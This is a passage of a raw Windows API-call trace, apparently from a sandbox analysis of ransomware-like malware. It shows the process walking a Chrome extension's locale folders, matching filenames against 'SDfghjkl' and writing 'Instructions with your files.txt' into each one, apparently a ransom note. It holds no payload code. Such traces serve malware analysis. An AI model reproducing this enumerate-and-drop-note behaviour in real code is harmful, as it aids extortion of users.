[0129.250] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.250] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\..") returned 145
[0129.250] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.250] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json") returned 156
[0129.250] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.250] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.250] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\Instructions with your files.txt") returned 175
[0129.250] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.250] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.251] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.251] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.252] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.252] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.252] CloseHandle (hObject=0x134) returned 1
[0129.252] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.252] GetProcessHeap () returned 0x810000
[0129.252] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.252] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0129.252] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned 145
[0129.252] GetProcessHeap () returned 0x810000
[0129.252] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.252] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*") returned 147
[0129.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.252] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\.") returned 147
[0129.252] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.252] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\..") returned 148
[0129.252] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.252] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json") returned 159
[0129.252] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.252] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.253] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 178
[0129.253] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.253] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.254] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.254] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.254] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.254] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.254] CloseHandle (hObject=0x134) returned 1
[0129.254] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.254] GetProcessHeap () returned 0x810000
[0129.254] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.254] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0129.254] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned 145
[0129.254] GetProcessHeap () returned 0x810000
[0129.254] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.254] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*") returned 147
[0129.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.255] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\.") returned 147
[0129.256] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.256] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\..") returned 148
[0129.256] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.256] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 159
[0129.256] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.256] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.256] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 178
[0129.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.256] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.257] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.257] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.257] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.257] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.257] CloseHandle (hObject=0x134) returned 1
[0129.257] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.257] GetProcessHeap () returned 0x810000
[0129.257] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.257] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0129.258] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned 142
[0129.258] GetProcessHeap () returned 0x810000
[0129.258] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*") returned 144
[0129.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\.") returned 144
[0129.258] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\..") returned 145
[0129.258] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 156
[0129.258] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.258] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.258] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\Instructions with your files.txt") returned 175
[0129.258] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.259] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.260] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.260] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.260] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
